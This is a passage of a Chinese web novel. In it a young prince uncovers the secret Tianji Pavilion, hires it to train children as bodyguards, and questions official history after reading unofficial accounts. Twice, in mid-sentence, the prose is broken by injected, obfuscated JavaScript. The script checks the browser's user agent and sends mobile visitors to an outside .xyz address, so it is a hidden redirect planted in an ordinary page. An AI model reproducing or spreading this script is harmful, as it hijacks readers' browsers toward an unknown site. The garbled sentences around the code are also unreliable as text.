梁风不依,“可是都找到这了,等遇到危险我们再走吧,而且我会功夫的。” 就像九连环解到最后一环,他怎么可能在这个时候放弃。梁风央着老李继续往前走,老李拗不过他,只能依他。梁风一身很快沾满黑暗。 这个暗巷远比他想的还要深广,网状的巷路三面延伸,里面都是被土墙围起来的民屋,只有零星几扇门扉亮着烛火,光从大街外面看还真看不出来,每一个拐角仿佛都一模一样,只有偶尔几扇门额挂着一两盏灯笼可以分辨区别。他走过几个弯就迷了路,心下不由变得焦急。原来在烛火不到之处,黑暗如此四通八达。 直到突然一个扭头,就看见了“瓷铺子”三个字。 可是铺子里并不卖瓷,是间空铺,他往铺里一探,进深最多四步,极小,铺里一个中年男人坐在简陋木桌后,暗色映得门扉幽幽。 梁风试探地走进去,那男人头都不抬,道:“天机不可泄露。” 梁风一愣,不知何意,询问地看向老李,李晟在他耳边低声道:“暗号。” 梁风恍然,可是他不知道暗号。 那男人看了他一眼,问:“第一次来?” 他缓慢地点点头。 “给钱也行。” “多少钱?” “一百两银。” 他倒是有这么多的钱,但是没有随身带着,梁风试探地问:“先赊账行不行?” 男人立刻不耐烦了,“没钱还想做生意?滚!” 梁风就被赶了出去。 李晟带他左拐右拐地出了暗巷,回到府里。老李教导他不应当冲动,去到危险的地方要做好万全的准备才行,梁风却并不觉得危险,心里还挺兴奋。 晚上他躺在被子里仔细思索,找到了问题所在。 赊账的生意谁会做,他不应该一开口就说自己会赊账,这话得放到最后才讲。而且为了要让对方同意,讲之前还得忽悠一下。 他再又意识到,为什么宫里的人,还有二哥,也总是把一句话中最重要之处放到最后,而在之前会先说很多铺垫。原来如此,这种事情不发生在自己身上都意识不到。 第二日,他带了更多的银子,找到了那个一嘴烂牙的人。这人似乎也在等着他,昨日不告诉他暗号,就等着他今日再次上门,多得一颗碎银。 暗号的下一句是:屁事茅纸写就。 梁风心里很喜,这次是在早晨,老李不再多加阻拦。他窜进巷子里七拐八拐,白日下的暗巷不再暗了,青瓦白墙看起来莹然生辉。昨晚太黑记不得路,这次绕了许久才再次找到瓷铺子。 他一瞧,里面果然换了个人,不是昨晚那个男人了。 不等对方开口,他直接道:“屁事茅纸写就。” 对方上下扫视他,说:“一百两银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839828|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 李晟从兜里拿出了几锭银子,交给对方。对方收了,递给李晟一块玉佩。 玉佩只比铜钱略大,很轻,雕刻也不复杂,背后刻了“天机”二字。 对方道:“去找崔记。” 梁风出去后问老李:“是祈福街的崔记么?” 李晟道:“应当是,毕竟崔记的名号没有第二个了。” 崔记是整个长泽流域最大的商户,名下产业无数,主家论富贵程度全中原无出其右者。连顾家都比不上。 太南的崔记只有一家,位于祈福街,含括服饰、盐铁、珠宝、宅院、酒器和人口等买卖,据说占地可比半座未央宫。私下里,太南人们常唤它为“小未央”。 梁风站在崔记门口,朗朗晴天下,人流熙熙攘攘。他很是惊疑不定,在暗巷里窜来窜去,终点却到了这么一个全城最盛大的地方。跟瓷铺子比,崔记完全不像是里面住着一口烂牙的人。 他向崔记门口站着的迎候小厮展示了天机玉佩,小厮看了看他,道稍候,然后走了进去。片刻领出来另一人,这人年长很多,周身气度也更沉稳。他向梁风一礼,道:“公子,随我来。” 旁的什么都没说,两人却都跟这块玉佩有股无需言语的默契。梁风把自己也摆出一副沉稳的气质,跟随这人走入崔记。 进门的馆阁很大,十分吵嚷,各色服饰的人都有,前馆后是一大片假山湖泊,四周是其他楼阁厢房,再往前走是竹林,竹林里人已少了,零星几人衣着比他这个王爷还精贵。竹林后,有座宝塔。 走来走去,走了很久,梁风已经不记得来时路,这里似乎的确没有未央宫大,但比未央宫丰富很多。 领路的人领到塔入口,招呼李晟在一旁休息,只让梁风进去。 梁风便进了。塔里光线很暗,烛火照亮中央一圈范围,四周垂下宽大的帷幔,不知帷幔后有什么摆设,空中也没有飘散着特殊味道。 正面上首的帷幔后端坐着一个男人,背光,看不清面庞,梁风感觉这人脸上应戴着面具。 男人突然道:“应和王。” 梁风一愣,为什么这人会知道他是谁? 男人似乎笑了笑,梁风赶紧收敛惊讶,正色道:“这里是什么地方?” “这里是天机阁。”男人说。 天机阁?梁风没听说过,又问:“你为什么知道我是谁?” “天机阁无所不知。” 身份被戳破,梁风顿时变得被动,他问:“天机阁是什么地方?” “天机阁是个很单纯的地方,只要你有足够的银子,你就能买到你所需的一切。” “比如?”梁风不信。 “比如人命,卑贱的人命,或富贵的人命;比如名声,崇高伟大的名声,或永无翻身之日的名声;比如官爵;比如娇妻美妾。” 梁风更不信了,而且没有说中他想要的,他再问:“那你知不知道我为什么会找到你们?” “自然。应和王,我知道你为何而来。” 这人为什么知道?他甚至自己都不知道是怎么找过来的。 “淮南王的天机即将到来。” 梁风一惊。男人继续道:“应和王,你需要帮手。如果你愿意,天机阁能够为你培养人才。” 他大大地惊了,心脏被攫制住的感觉油然而生,怦怦跳起来。 这地方不寻常,似乎的确无所不知。梁风又迅速意识到天机阁这种无所不知是相对的,他能从天机阁知道一切,别人也能通过天机阁知道他的一切。这男人甚至连二哥的事情都知道。 他犹豫起来,那男人突然说:“你的犹豫是对的,等考虑清楚后再来吧。”说罢一抬手,梁风身后的大门无声打开,光线照进来。 梁风转身看着,黑暗的塔中,阳光显得净白无暇。 他向外走出几步,然后停下,回头看着男人道:“我愿意。我有十几个十来岁的小孩,我想把他们培养成我的死士,你们会怎么做?” 烛火突然熄了一盏,男人的身影隐入暗中,接着两旁帷幕后的黑暗中走出一个中年男人,递给他一张纸,道:“公子,这是与天机阁成交的契书,您看看有无缺漏,若无便写明地点,三日后,我们负责领走您的人。培养死士最多四年,四年后,您若满意,再至天机阁付款。” 契书上已写了他的名字,梁风道:“我如果不认这个名字会怎么办?” “您会被追杀。另外,公子,阁主大人让我给您带句话,他建议您去崔记名下的无华书肆看看,那里或许会有你现在最需要的东西。”这人笑着躬腰,“天机阁等候您再次光临。” 梁风被恭恭敬敬送了出去。李晟还候在塔外。 出去的路却不像进来时走了那么久,被熙熙攘攘的人流包围住时,梁风还有点恍惚。 “老李,他们知道我是谁。” 李晟道:“他们看您眼生,知道您是第一次来,所以刚进去时,领路的人带您绕来绕去,绕了很久才走到那座塔,就是在这个空档查出了您的身份。” 梁风恍然,“真厉害。” 他抬头看阳光下熠熠恢弘的崔记馆阁,每一只瓦片都干净昂贵。 “老李,这是什么地方?” “王爷,这是大周藏起来的地方,是大周黑暗的一面。” “黑暗?” “是,与光明相对之处。” 94. 《红叶书》(十四) 梁风从崔记出来就去无华书肆看了看。 他平时多去官院,几乎不去商户起的私院。无华书肆大小与藏书仅次于太南官办书院,寻常百姓不能踏足。他可以应和王的名号进入,但考虑到是天机阁阁主建议他来的,便没有报上名号,只似刻意似无意地露出腰间玉佩。 本以为会有什么特殊待遇,结果书童领他进入一间厢房,奉上茶水点心后,再不理他了。 厢房装饰雅致普通,或许是出于保养书册的缘故,书肆内没有熏香,反而很干燥。 “我以为会让我见什么人。”他同老李说道。 李晟摇摇头,也不知天机阁阁主是何意。 回想塔内天机阁阁主神秘高深的模样,他又觉得这人应该不会骗自己。梁风便独自一人闲逛,路过各层书架,见到了许多听都没听说过的书名。 他慢慢觉得稀奇,也不再探究阁主是何意了,专注地扫视每个书架上陌生的书本。 直到看见孔孟之言在书肆中摆放的位置,他才发现这里跟寻常书肆的不同之处。 那数十本家喻户晓、耳熟能详的书卷占了一整面书架,架子却被摆在书肆最角落的位置,而且这个角落里几乎没人停留。 一般书肆不会这样安排经典的摆放位置,梁风去问了问书童,书童告诉他:“咱书肆是以野史杂记为核心的,少摆那些多见的书,公子您若想看那些大书,可以去旁的书肆看看。” “为什么?”梁风不解,“那书架上的《论语》还是糊本,无华书肆怎么会没有珍本《论语》?” “您也说是珍本了,既是珍本,自然不是每个书肆都能置办得了的,每个来咱这的人啊也不是为了珍本来的。咱这书肆其实就是个偏门书肆,讲些大道上不能讲的话,记些流传中或真或假的谣言,还有儒师大家写的碎文,零零散散,咱书肆都会搜集起来,做合集。” 书童笑了笑,“真要说起来啊,咱这肆里的书才更称得上是珍本。那些大家写杂言总会匿名,找起来不容易啊。” “还有这种书肆啊。偏门的。”梁风有点好奇,想看看新,便问:“那你这里最多人看的是哪几册书啊?” “那可就多了,九流十家可都有的,公子想看哪种?” 梁风挑选许久,道:“儒吧。” 书童在书架间穿梭,准确地在一架书中取下一本,名为《拆儒》,著者是上铭格老。 上铭的位置在铭郡,格老这人梁风没听说过。 “公子您是大人物,自然不知道小人物的姓名,这人在坊间可有名得很,大小商户往家里请的夫子都是他门下的子弟。” 梁风恍然,将这两指厚的书拿去厢房里看。 左翻翻,右翻翻,也没什么稀罕,内容如名,把儒学拆开了讲,很碎片,对名言的阐释也不比郑熹丘深刻,只是切入角度比较新奇,简单看看还是有点意思的。 梁风继续往后翻,可是再往后,却觉出字里行间有股轻薄之意。 书中说“中庸”是“和稀泥”,说“仁义礼智”应改为“人意力志”,说要以人为本,而不是“以仁为本”。 好像掉进了字眼儿里面,梁风把这书拿给李晟看看。 老李看书少,也只看些经典,但毕竟上了年纪,积累比他深厚,随意翻了翻便道:“王爷,市井碎言一向如此,看看就行,不必深究。” 梁风一想也是,便将书放下了。 隔日,他又去无华书肆,想再拣些稀罕书瞧瞧,问了书童才知,上铭格老还有一书是写巷尾谣言的,叫《闲言碎语》。 书童跟他说:“公子,《闲言碎语》半真半假,您还可以看看逢山道人写的《周史之外》,虽然都是野史,但《周史之外》好多名儒都评点过呢。” “逢山道人?这人我好像听说过。” “公子,郑熹丘您知道吧?逢山道人曾经拜过郑熹丘的。” 梁风这一听就来劲了,便要了《周史之外》看看。 这时书肆门口传来几名女子说话的声音,压得低,片刻后没了声响。梁风绕开那几名女子去厢房,关上门,开始看书。 看着看着,整本书的面目变得不对劲起来。 朝廷史官编纂的《周史》中记载了大周开国皇帝武帝的生平,武帝出生时天生异象,据说红光漫天、飓风四起、飞沙走石,种种异象只是为了迎接一个婴儿。然而《周史之外》却说武帝出生时平平无奇,跟寻常婴儿出生并无区别。 《周史》还说武帝身高八尺,眸光似电,威风凛凛,一怒如山崩。《周史之外》却说武帝长得其实并没那么英武,也不高,还说武帝知道自己长得不好看,所以会挑选长得好看的男子放在身边,专门接待外国使臣,充当门面。 最最主要的是,关于大周开国前那数十年中原动荡、群雄争霸的时期,《周史之外》说武帝发家之前在乡野偷鸡摸狗,发家之后小人嘴脸,虽文武双全、任贤任能,却气量狭小,轻易能背信弃义。以贼称之,功劳很大,却也罪孽不小,用尽一切谋利手段,才最终登台将大周曲一唱三百年。著者评曰:奸雄。 梁风越看越奇怪,《周史》里明明说武帝是儒雄,不是奸雄。武帝宽和仁厚,善待下属,天命所归。 二哥一向不让他看野史的。 梁风合上书本,将书往前推远了些,耳朵后面一滴冷汗流入衣襟。 他想找人说话,可房里只有他一人,李晟今日没陪他来。 扣扣—— 外面有人敲门,他立即起身,门外是书童和......金絮。 金絮看到他,颇为意外,“喔,王爷,是你啊。” 梁风也很意外。 “王爷,你是不是在看《周史之外》?”金絮不好意思地笑笑,亮出手里另一本《周史之外》,“我今天又忘记上次看到哪里了,王爷的那一本是我上次看过的,看完之后我在书页的角落做了个标记,记着看到了哪页,所以想问问王爷,我们这两本能不能换一下?” 梁风知道了,回身拾起那书,递给她,问:“顾府的书肆里没有这书吗?” “有是有,只是无华的抄纸比较好,摸起来舒服些,不磨手。”金絮换了书,开心道:“谢谢王爷。”然后找同行的伙伴去了。 梁风没了继续看书的心思,便去那十几个小孩的客栈看了看。 梁风站在楼下,他们在客栈二层的窗台上。隔着半条街,梁风远远地看几眼。 老李说他们很乖,经过这几月的调养,面色好了很多,但还是黄瘦黄瘦的,梁风只看了几眼,就走了。 到天机阁上门这天,他目送十几个小孩登上马车,然后才去潇别府。 他先到马厩看看小马,见金絮和顾琼正在喂草。小马一日日肉眼可见的胖了。 “王爷,看我养得如何?”金絮笑嘻嘻,期待地看着他,“它可以开始训练了。” 梁风摸摸鬃毛,“那就训吧。” 金絮欢天喜地牵出小马去马场,溜起来。 梁风和顾琼在马场另一边练骑射。刚跑两圈,顾琼就嫌累不练了,往树荫底下一坐,道:“姑母骑术好,不如让姑母教你。” “谁教我倒是无所谓。”梁风与顾琼并肩席地,打开水壶喝水,“只不过,顾家也可以随便找夫子教三姑娘吗?” “啊?什么意思?” “前两天我在无华书肆见到三姑娘在看《周史之外》,合适么?不应该看些正经的书吗?” 顾琼表情疑惑,“《周史之外》是不正经的么?我也看过啊,只不过没看完。” 梁风觉得那可能是顾家家风如此。 顾琼凑近了些问:“王爷,你只看那些正经书的么?好没意思。” “倒也不是,一些豪侠话本我也是看的。” “《周史之外》比豪侠话本还要正经些吧。” 梁风一愣。 顾琼摆摆头懒散道:“书不看我,我不看书。” 梁风怔怔地端着水壶,忽然意识到一个被他忽略的问题。 既然都是不正经的书,为什么二哥允许他看话本,却不让他看那些野史? 他忙问:“《周史之外》说开国武帝是奸雄,正史里却说武帝是儒雄,这是为什么?” “哈?你问我?可别了,书里那些东西比女人还复杂。”顾琼站起来伸懒腰,“王爷,你得去问问别人了。” 两人跨上马,梁风怀着心事驰至藤花亭,正看见金絮和顾南蕴在亭下说话,顾夫人不知何时来马场了。 梁风下马,快步走去,顾南蕴朝他一礼,梁风道:“顾夫人,金丞相下次休沐是什么时候?我想约见他一面。” 金絮抢道:“我知道,是下个月。” 顾南蕴点头,“是,金大人下月初休沐六日,王爷若有需约见,我便早做安排。” “那麻烦顾夫人了。” “王爷客气了。” 梁风做个辞礼,离亭和顾琼去箭场拉弓。射出几箭,未能消减心中烦闷。脱手一箭射歪,他垂下弓,看箭场拂过微凉的秋风。 顾琼道:“心不在箭上,射出去也白搭。” 梁风一叹,放下弓,道声抱歉,走出箭场。路过藤花亭时,顾南蕴母女还在亭下,她们肩贴着肩坐在一处,对着一本书册指指点点、说说笑笑,梁风认出来那书是上次金絮手里的那本《豪侠传》。 母女两人一起讨论书里的内容,画面真是好极。梁风站在原地,久久看着。 看了不知多久,金絮抬头注意到他,笑喊了声:“王爷。” 顾南蕴也看过来,梁风惊觉自己打破了画面的美好,他歉歉地笑,准备离开,刚转身,顾南蕴唤道:“王爷留步。” 梁风回头,顾夫人向他走两步道:“王爷今日心情不好?” 他一愣,苦苦地说:“我的心情很明显么?” 金絮声音脆脆的,“不明显!” “王爷独自一人在太南,左右无依靠,金大人走之前便叮嘱我多加照顾于你,你若愿意,有何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839829|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑难不如与我说说?”顾南蕴道:“很多事情,说出来也就好了。” 鼓励般的眼神让他想到母亲。 可能是因为送走了那十几个小孩?他们将来不知道会怎么样,梁风有点害怕自己做了一个错误的决定,但这事又不能讲。而且好像还不止如此,他心里知道还有点别的原因,既想知道又不想知道。话到嘴边兜兜转转几个圈,最后还是没讲,梁风摇摇头,辞别顾南蕴,一个人出了马场。 他再次去天机阁,选择信任陌生人。 黑塔中,天机阁阁主一如上次般高深莫测。 梁风犹犹豫豫地问:“你上次就是想让我看野史吗?我在无华书肆看了《周史之外》,发现里面的内容跟正史里的不一样,有点疑惑,想不明白。” 阁主轻笑,“哪里不同?”仿佛料到他会再次找来。 “野史和正史为什么会区别这么大?对同一个人的评价会如此不同......我就是分不清......我不知道大周开国武帝是好是坏、是奸是儒,每个人和我说的话我不知道该怎么相信......” 梁风的声音在黑塔中来回,阁主隔了片刻才道:“武帝是奸是儒其实并不重要,对于写史书的史官们来讲也不重要,重要的是夺得了天下的开国皇帝只能是儒。他不能草菅人命,他必须宽厚,因为宽厚才代表正义的一方,而只有‘正义’才是倾覆前朝的正当理由。” 梁风心中一震,可是更加疑惑了,“正史的‘正’就是这个意思么?” “史书里,部分内容是正义的正,部分内容是正确的正,部分内容是真正的正。每个人对史书都有不同的理解。” 梁风咽了下喉咙,嘴里很干,“所以每个人学史都需要有夫子教导,保证走在‘正’的路上么?有人说他是好人,因为武帝做了对别人好的事,有人却说他是坏人,也是因为武帝对别人做了坏事。所以评价一个人是好是坏,只取决于我的需要?” 天机阁阁主道:“你已经想明白了。” 从天机阁出来,梁风再次去无华书肆。 他这次将练箭都放下了,一连十数日待在无华书肆中,将大小野史杂记囫囵看了一遍。 原来逢山道人另有一本书详细写了《周史之外》的考据、批注与史料来源,逢山道人一生中有将近三十年的时间游遍大江南北,收遍民间各处的史话传说,再互相对比,一一指出与正史中不符之处。 另还有其他许多史儒大家对逢山道人进行修改批注,辩求真假,有的人支持逢山道人;有的人则抨击其诬陷大周史官,令史书变脏。 梁风越看脑子里越晕乎。 其实他已经隐隐发现了的,《周史》里某些自相矛盾之处,人物言谈与形象不相符的细节全部一笔带过,所有人物比豪侠话本还要正邪分明。 冷汗渐渐从他的额际颈间冒出,密密麻麻的字迹像堵墙一般遮住他的前路,头晕眼花,却又大开眼界。 他渐渐感到无力,想起上次还觉得为什么总把一句话的重点放到最后才讲,是因为把话直接地说话来真的是太难听了,太难听了。 可惜永远有人戳穿他。 他原本还想再去天机阁问问越国那边的消息,现在又不想去了, 书堆里坐了大半个月,梁风这天晚上回府,站在屋里一面书架前,书架只到他胸口高,上面放的全是四书五经。回想以前看的那些豪侠话本,在此刻他的眼中也变得刻板端正了。 “二哥从来只让我看我应该知道的东西。”他道:“可什么是我应该知道的?” 李晟正在准备洗漱之物,听见他这话,便停下手里的动作,看了过来。 “兄友弟恭、忠义仁孝就是我应该知道的,除此之外,一切谋逆、仁慈、宽厚、狡诈都是我不需要知道的。” “所以他只让我看这些书。其余的书他一向都不让我看。” 梁风手指着书架上一本本光辉的圣贤之言,道:“这些书讲仁义,这些书讲忠孝,这些书讲安分守己,将这些书合起来,我读了,这些书就是我了,我就是这些书了,仁义、忠孝、安分守己就是我了,一丝一毫不逾矩就是我了。” “他就是想我成为这样的人。”梁风望着李晟说:“那如果不读这些书,我原本是怎样?我会是怎样?我应该是怎样?” 这些书拼凑出来就是他。把他拆开,也就拆成了这些书。其实《周史之外》只说了一件事,就是告诉他,世上的路不止有一条,而是千万条。 “他想让我知道,只要敌人是错误的,那么他做的一切就都是正确的。” “他没有让我过上他曾经想过的生活,但他让我成为了他想让我成为的样子。” 梁风求救般地看着李晟,委委屈屈的泪水在眼里越盛越多,老李无言地回看他。 李晟上前抱住他,轻轻安抚:“王爷,这才是您真正拥有的东西,您应该感到高兴。” “可是我不高兴。” 梁风大睁着眼睛,眼泪自己流出来。 95. 《红叶书》(十五) 这一夜,他在床上翻来覆去睡不着,心脏干干燥躁,睁眼到天亮。 一早恹恹困困地去马场,隔了大半个月,该做的事情还是得做。 此时潇别府里只有仆从忙碌,马场无人。秋末了,风里寒气渐重,吸入体内荡涤浊气,难得舒爽。 今日云重,遮住了阳光,梁风在藤花亭坐下,看着看着,他趴在石桌上睡着了。 不知过了多久,悠悠转醒,他睁了下眼还想继续睡,却听见翻纸声,接着才感觉到有另一人的呼吸。他抬起头,就见金絮捧着本书坐在石桌对面。 她皱起细细的眉毛,“王爷,你占了我的位置了。” 梁风一怔,下意识直起身,睡醒后还有点没反应过来。 “算了算了,你占便占吧。”金絮道:“这样睡觉,会生病的哦。” 梁风揉揉脸,不睡了,掌心里乍然摸到湿湿的泪痕。 金絮绕过石桌,抬手,食指一点,点在桌上的几滴水渍,嘴里念道:“爱哭鼻子的王爷。” 梁风好尴尬。 抿嘴默然了半晌,他用大袖将水渍一把抹去。金絮回到位置上,大眼珠子坦诚地看着他。 “你继续看书吧。”梁风起身准备走。 “王爷要不要一起看?” 他停顿,视线往下一扫,看到了那本书,问:“不是不让我看么?” “现在可以给你看了。”她把书往前推,“只不过我写得比较乱。” “你写的?”梁风复坐回去。 “不完全是啦。”金絮道:“王爷好多天偷懒不来练箭,娘亲说你心情不好,要我和哥多观照观照你,还说让下人们也观照观照你。” “那倒不用......所以观照是这本书?”梁风拿了书过来,“这种观照,要不说出来的,偷偷地观照,心里会更舒坦些。说出来了,就只是奉命行事而已。” 金絮漆黑映光的眼瞳一转,似懂非懂。 然后她道:“王爷,你的要求好多!” 梁风不说话了,认真翻看。 书是笑长生的书,装订、纸质普普通通,但金絮写的还挺有意思。 她在每一面空白之处写下了对这一面情节的看法,或认同或指责,如果是认同,她会将这段情节续写;如果不认同,她就写下经她修改过后的情节。断断续续,几乎每隔两页就会有她写的一段小剧场。 他点评道:“写得差点意思。” 金絮眉毛立刻皱起来,“才怪,娘亲明明说写得很好。” “那是你娘亲哄你的。” 她倒也没有不满,学着他道:“你这王爷,蔫儿坏。”然后低头玩笔。 “写得还是不错的,只是有些地方可以更好。” 优缺点都有,优点是,这些片段小剧场之间人物形象居然也能自成逻辑;缺点是,逻辑与原书不符。 “哼哼。”她表示不屑。 “你很喜欢看这些书么?你连《周史之外》都看。” “想看什么,就看什么咯。” “那你觉得武帝是个好皇帝吗?” “啊......是个好皇帝吧。” “是么?”梁风问:“你的夫子是怎么跟你说的?” “夫子说,武帝是个凶巴巴的人。” “什么意思?” “谁会喜欢一个凶巴巴的人啊——夫子是这么说的。所以皇帝都得是好皇帝。” 梁风愣住了,看着这十一岁的小姑娘,觉得自己真是蠢。 他狠叹一气,又趴到桌上,用大袖埋住脸。 金絮再次起身,走近他,伸出食指戳戳他的脑袋。 梁风立刻抬脸斥道:“男女授受不亲。” “又没有授受。”金絮满不在乎收手,坐到亭边柱下,离他远了,“娘亲说要照顾你的心情哦。” 梁风小声嘟囔:“照顾什么心情......我只是心痛,突然间不知道自己是谁了。” 金絮不明白他的话,“你是王爷啊,你是见到需要行礼的人呀。”金絮走出向他一礼,嘻嘻笑道:“小女见过应和王。” 梁风没理,垂头看指,顾自地说:“我还不如不知道。人应该蠢一点。” “为什么?”金絮又跑到他面前,疑惑地睁大眼睛,煞有介事道:“王爷,人应该要聪明!” 梁风盯着她一瞬,觉得她这表情有点好笑,然后慢慢笑了,“那你这个聪明的小姑娘,要是真的想写话本,就自己写一本,不用在别人的书里做边边角角的修改。” 金絮闻言眨眨眼,缩了缩下巴,一脸被戳中心思的模样。 “这书借给我吧,看完还你。”他道。 金絮立刻表露不舍,手指本能往前虚虚一抓,很快又收回,十分不情愿地说:“我照顾你的心情哦,你要看的话,可不许修改。” 梁风笑出了声,“好。” 当夜,梁风取了纸,裁成巴掌大小,在小纸上写下跟她不同内容的小剧场,夹在当页中。 蛮有意思的,从前看话本的时候怎么没想到呢。 梁风越写越多,把自己觉得原书略有遗憾的情节给圆满了。也不讲究文采、辞藻,白话就白话,俚语就俚语,想怎么写就怎么写。 至下月初,天凉了些。柳郡守直接给他送来了一批过冬物资,顾俨北也送了几箱织物衣裳。让他感觉应该还没那么快回京。 月初第二天他听闻金延守到了太南,隔日梁风便登门拜访。 可站在顾府门口,他又觉得好像没什么想问的,其实也不愿意让自己更难堪。 踌躇许久,久到金延守听见消息亲自出来,梁风才被请进了顾府。 与金大人相看无言。梁风见金延守完全是等他开口的意思,难以估摸自己在太南做的一切有多少传到了陛下耳中,可他怕拖得久了,金絮又会怨他占去金延守的时间。 他斟酌着开口:“我最近......身子不太舒服,所以有十几日没有练箭。” 金延守端详片刻,捋须道:“既是养身子,多休息几日也无妨,王爷前些时日确实太刻苦了些,修习箭术固然重要,但也要劳逸结合啊。” 梁风手指捻紧,在金延守注视下低头看地板,担心起那十几个小孩,他还是不够谨慎,不知是不是所有行动都暴露在了陛下眼中。 想知道现在越国那边有什么动静,想知道二哥在做什么,想知道他还能在太南待多久,想知道他现在应该怎么做,想知道他是谁...... 想来想去,还是觉得去问天机阁才好。 “王爷,”金延守突然道:“您不必如此紧张。” 梁风眨眼回神,看了看金延守,干巴巴地扯出笑来,心脏松下,脖子就开始冒汗。 他咬着牙,轻轻问了一句:“金大人,您能理解我么?” “当然能。”金延守脸上带笑,“王爷觉得,我当初为何让您来太南?” 梁风不解。 “自然不只是为了学箭。”金延守答:“还记得我让夫人同您说过,您来太南是来玩的么?玩得尽兴就好了。” 梁风这才发觉自己有些过于畏首畏尾了,可是在太南这几月,眼前所见又变得更血淋淋了。 “风雨来临之前,先求片刻安宁吧。来临之后,尽人事,再顺其自然。” 可是他不安宁,梁风把话说了出来:“我最近想明白了从前淮南王跟我说的一些话......就是我听到的很多话,真真假假,分辨不清楚。他借用史书告诉我,他想做的事情是正确的,他想控制我的思想和精神。” 他说完,想向金延守寻求帮助,可金丞相不动声色,他又慢慢觉得是不是不该说出来。 金延守缓慢地说:“历史由胜者书写。淮南王想书写属于他的胜史。而看史的人,需比过数家之言,才能得出真知。得了真知,旁人再想控制就难了。” “是我做得不够好?” “不,王爷做得很好了。你既已认识到,如今再有人想控制你,已经难了。” 是这样吗?梁风虽心中疑惑,但还是起身行礼,恭敬道:“谢谢您,金大人。” 金延守颔首,梁风走外两步又想起来,拿出金絮那本书,交给金延守,“这是我向三姑娘借的书,已阅闭,劳您还给她。” 金延守接了书,梁风便去潇别府练箭。 之后一连几天顾俨北都会来潇别府指导他,梁风没什么心思看书了,整天练箭习武,偶尔顾琼来寻他出去闲玩,他才到府外走走。 只想看着眼下,旁的无暇多管。 可有的时候,他又觉得总是一个人也不好。跟顾琼身边的其他富家子弟不是玩不到一起去,只是他不知道什么时候回京,离了太南,身边又要换一批人了。 梁风从马上跳下,躺在草地上,熏熏日光晒着脸颊,草地竟异常柔软。 眼前刺眼的阳光忽然一遮,金絮的脸蓦地冒出,正低头看着他。 “王爷,我以为你又偷偷哭鼻子了。” 他下意识摸脸,“哪有!” 金絮嘻嘻笑,发梢不羁地晃荡,飞快地跑了。 梁风小声嘀咕:“没心没肺的小丫头。”他站起来,大声喊:“我写得如何?你看了么?” “一般一般!”她头都没回。 梁风随意抖了抖身上的草,走去藤花亭。金絮坐到她的专属位置,理所当然道:“你又不夸我,我也不夸你。” “你写得非常棒!”梁风夸赞:“天下独一无二的棒,与你相比,支郁笑长生都不算什么!” 金絮无动于衷,“王爷,不是你告诉我的么,观照要偷偷地观照,不然只是奉命行事。” 梁风默默。在她对面坐下,看她手里是本新册子,便问:“你这是准备新写一本?” 金絮眼珠子偷偷觑了他一下,嘟囔着提醒:“王爷在偷看。” 梁风噎着,不说话了。 金絮转而皱起眉头,十分纠结地看着空白本子,道:“不容易写呢。” “这是自然,笑长生第一本写得也不尽人意。”梁风笑笑,“想怎么写就怎么写吧,其他的不用顾虑。” “可是连名字都不知道该怎么取。”她手指把玩着笔头。 “名字再想,大概是个什么样的故事?” “是个落魄门派重振辉煌的故事!”她一奋。 “喔——好像很不错呢。” “那是当然。”她很是得意地笑,“我要写个女侠!” “然后咧,她有个配对的男侠么?” “有!” “啊,还要写那些风花雪月?你会写那些风月事?你有经历过么?” “没有。但是我看过啊,而且笑长生写的就很好看的。” “那当然,因为笑长生经历过啊。” “我没经历过就不能写么?”金絮瘪嘴,眼睛斜斜地看着他,悄悄说:“王爷话好多......”以为他听不见,但又故意说给他听。 “那我不说了。”梁风依顺地起身,去箭场,“我练箭去。” 金絮也不理他,任他走。 梁风练空一筒箭,顾琼来了。 “小絮絮怎么突然想着要写书了?” 梁风扭头一看,金絮揣着书笔跟在顾琼身后过来,一双眼睛偷偷打量着梁风。 “她是很早之前就想写了吧,只是没人跟她说一句‘你可以写’。”梁风悠悠道。 金絮脸上露出笑,小跑过来,靠着旁边的柱子,展开书本,随时记录,“那我不写男侠了,可是落魄的门派是怎么样的呢?” “没见过。”顾琼道。 梁风说:“肯定是人丁稀少,门可罗雀,武艺荒废......而且关键是很穷。” “啊......是这样的么。”金絮看起来不太开心,“可我希望这个门派人很多诶,师父师娘很恩爱,师弟师妹们每天都会上早课和练武,一起嬉闹。” 他反问:“这样和谐的门派还会落魄么?” 小姑娘丧下去。 顾琼建议:“这个简单,你就照着《豪侠传》的情节写吧。” 梁风道:“《豪侠传》里门派的背景很简单,细节不多,照着写也得自己编。” 顾琼也开始跟着一起纠结,“那一定要写门派的事情吗?照着身边的人写不也行。” “那多不好玩。哥,你总跟我说,做事要做有意思的事。我每天去学堂、背书、练琴、练字,多没意思。” 梁风也道:“是啊,写这些书,不就是写点黄粱梦么。” “你有疑惑,不去问夫子?”顾琼问。 “可是夫子不让我写。” “你若是无从下笔,不如我去请个夫子领你入门。哦对了,那个笑长生还活在世上,不如我请他来做你的话本师父?” “写话本还能请师父?”金絮瞪圆了眼睛。 “那是当然。有钱什么请不来?” 金絮陷入沉思,难做决定。 梁风看了看金絮快要皱成一团的小脸,道:“还是自己写吧,别人教出来的,那不成别人写的了。” 